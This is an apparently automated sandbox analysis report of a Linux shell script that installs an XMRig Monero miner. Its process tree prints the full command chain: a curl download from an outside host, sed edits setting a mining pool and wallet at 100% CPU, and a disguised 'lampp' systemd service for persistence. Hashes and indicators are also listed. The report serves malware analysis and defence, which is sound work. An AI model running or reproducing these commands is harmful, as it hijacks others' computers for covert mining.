Analysis

  • max time kernel
    7s
  • max time network
    133s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    01-07-2024 12:17

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1589
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1592
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1593
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1596
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1597
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1623
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1624
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1625
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1625
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1625
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1625
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:1626
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                          • Reads runtime system information
                          PID:1627
                        • /root/lampp/xmrig
                          /root/lampp/xmrig --help
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          PID:1628
                        • /usr/bin/sed
                          sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                          2⤵
                            PID:1633
                          • /usr/bin/cut
                            cut -f1 -d.
                            2⤵
                              PID:1632
                            • /usr/bin/hostname
                              hostname
                              2⤵
                                PID:1631
                              • /usr/bin/sed
                                sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                2⤵
                                  PID:1634
                                • /usr/bin/sed
                                  sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1635
                                  • /usr/bin/sed
                                    sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2204-amd64-20240611-en-14\",/" /root/lampp/config.json
                                    2⤵
                                    • Reads runtime system information
                                    PID:1636
                                  • /usr/bin/sed
                                    sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                    2⤵
                                      PID:1637
                                    • /usr/bin/sed
                                      sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:1638
                                      • /usr/bin/sed
                                        sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                        2⤵
                                          PID:1639
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                          • Reads runtime system information
                                          PID:1640
                                        • /usr/bin/cp
                                          cp /root/lampp/config.json /root/lampp/config_background.json
                                          2⤵
                                            PID:1641
                                          • /usr/bin/sed
                                            sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                            2⤵
                                              PID:1642
                                            • /usr/bin/cat
                                              cat
                                              2⤵
                                                PID:1643
                                              • /usr/bin/chmod
                                                chmod +x /root/lampp/miner.sh
                                                2⤵
                                                  PID:1644
                                                • /usr/bin/sudo
                                                  sudo -n true
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:1645
                                                  • /usr/bin/true
                                                    true
                                                    3⤵
                                                      PID:1646
                                                  • /usr/bin/awk
                                                    awk "{print \$2}"
                                                    2⤵
                                                      PID:1649
                                                    • /usr/bin/grep
                                                      grep MemTotal /proc/meminfo
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1648
                                                    • /usr/bin/cat
                                                      cat
                                                      2⤵
                                                        PID:1650
                                                      • /usr/bin/sudo
                                                        sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1651
                                                        • /usr/bin/mv
                                                          mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                          3⤵
                                                            PID:1652
                                                        • /usr/bin/sudo
                                                          sudo killall xmrig
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1653
                                                          • /usr/bin/killall
                                                            killall xmrig
                                                            3⤵
                                                            • Reads runtime system information
                                                            PID:1654
                                                        • /usr/bin/sudo
                                                          sudo systemctl daemon-reload
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1655
                                                          • /usr/bin/systemctl
                                                            systemctl daemon-reload
                                                            3⤵
                                                            • Reads runtime system information
                                                            PID:1656
                                                        • /usr/bin/sudo
                                                          sudo systemctl enable lampp.service
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1690
                                                          • /usr/bin/systemctl
                                                            systemctl enable lampp.service
                                                            3⤵
                                                              PID:1694
                                                          • /usr/bin/sudo
                                                            sudo systemctl start lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1735
                                                            • /usr/bin/systemctl
                                                              systemctl start lampp.service
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1736

                                                        Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Replay Monitor

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                                                        Downloads

                                                        • /root/lampp/config.json

                                                          Filesize

                                                          2KB

                                                          MD5

                                                          f3294129e6b76283965ad86a815bf383

                                                          SHA1

                                                          5fe0ab538f86962efe82cb13fc2da745610740af

                                                          SHA256

                                                          578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                          SHA512

                                                          07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                        • /root/lampp/miner.sh

                                                          Filesize

                                                          253B

                                                          MD5

                                                          f96a321a262287ceae164f23f232ed9c

                                                          SHA1

                                                          d1eeab41f244b42377afd7cc3de7428736162b24

                                                          SHA256

                                                          f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                          SHA512

                                                          75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                        • /root/lampp/sed3Fw1TT

                                                          Filesize

                                                          2KB

                                                          MD5

                                                          16736d5518f458ad9a7e68c5caca4063

                                                          SHA1

                                                          1d58995f67105f77ff9ba01dcc9d061d4fbfa19b

                                                          SHA256

                                                          bb2b1a8a987bf7f63ccb78cb9fdcfd6816c8d4bd6d70c0713c7192367ccd39ef

                                                          SHA512

                                                          9287c275c9b26548b404353434abdb1ae8e9d175c7018f08819b00199e93091a2cdef3d5a9fe9a181781fe03fa7fe2c895e4ef645f07fe9aa55fddf8eb5ee3cc

                                                        • /root/lampp/sedCz90au

                                                          Filesize

                                                          2KB

                                                          MD5

                                                          a215a2e67389d6b5082434a582a70022

                                                          SHA1

                                                          1b0cc3904d21624c307e480001ebcf3c9d89e501

                                                          SHA256

                                                          2dae3373690e2f14150333326ee850324c7a61da3a33108efccb2c4d5048be19

                                                          SHA512

                                                          682b7bf6b09ea4371f06bfc56fb12285d83ba016f798a01692e380562d1de44207ee579701ab091c14d1004d144d2165478176a5f654b82b10d523cb7ef117bc

                                                        • /root/lampp/sedG435Fg

                                                          Filesize

                                                          2KB

                                                          MD5

                                                          d489ddbbb83271e967b8af615d17d3c7

                                                          SHA1

                                                          f0394a367a60e9727269882154098dec802774ef

                                                          SHA256

                                                          5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                          SHA512

                                                          aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                        • /root/lampp/sedMuc6VS

                                                          Filesize

                                                          2KB

                                                          MD5

                                                          70722f0aa9eda4f0a9002e50f1e41b89

                                                          SHA1

                                                          e24b2ac4be1799b9c05e7320ba24e5b0695982bc

                                                          SHA256

                                                          985971ff1084ceb9525c2ce7a1f32c12a780641e944720b7dc37153f9b25e693

                                                          SHA512

                                                          b7692e6933324d0a23fa8e9674122713263f7a7b5ff6ff6d9a1884d24cba66e71b58c5d17834cb291200c2c4bb749cd77dedea28302615d2c4a3f42a88f4d3d1

                                                        • /root/lampp/sedOouX7g

                                                          Filesize

                                                          2KB

                                                          MD5

                                                          7fc08503262574daddab04c8238858de

                                                          SHA1

                                                          9cf1f9dd6f571038370490359eb1833b19d3d0e3

                                                          SHA256

                                                          ea71a8b4d29296eed05ffedffe90f35332e6de9757c18d53bc9af75a94220ab3

                                                          SHA512

                                                          4fcc2e3c5f813c8148a239de1a971d5fb89ee33796235417fc41c9e4aaca2bb0db53bd703a51751b57012d8873f10d6f5290c51423fc95d0c90dfe743c96b32e

                                                        • /root/lampp/sedup17nH

                                                          Filesize

                                                          2KB

                                                          MD5

                                                          8b11b027dd187104473ee7d661ffe25f

                                                          SHA1

                                                          ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                          SHA256

                                                          984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                          SHA512

                                                          1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                        • /root/lampp/xmrig

                                                          Filesize

                                                          8.4MB

                                                          MD5

                                                          e6b2f9d13d45c128b44cb5405df9ab39

                                                          SHA1

                                                          c07326f69240e3d22d134d156528af3bd5d0497b

                                                          SHA256

                                                          96462c80ee4118a9140b159d5bbf5f3a40a8693d650919e29b23bd3c9c7e4162

                                                          SHA512

                                                          4eef70930aae075d38a871c380b2d1322c5a3cfdfdd6e936447e384bfd6c3f71b4ad7a9dc1dd2213a946f32681686f0db0b6f6e1caf1286a0a7fe36a26ac5632

                                                        • /tmp/lampp.service

                                                          Filesize

                                                          177B

                                                          MD5

                                                          540c899b78585827e807a62f7345eaf5

                                                          SHA1

                                                          8bf3146889c6b15811f226bff9fbca24d184eff2

                                                          SHA256

                                                          b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                          SHA512

                                                          0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                        • /tmp/xmrig.tar.gz

                                                          Filesize

                                                          3.4MB

                                                          MD5

                                                          e003a3ec8bdd61151a61cadf950502c4

                                                          SHA1

                                                          2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                          SHA256

                                                          80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                          SHA512

                                                          ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9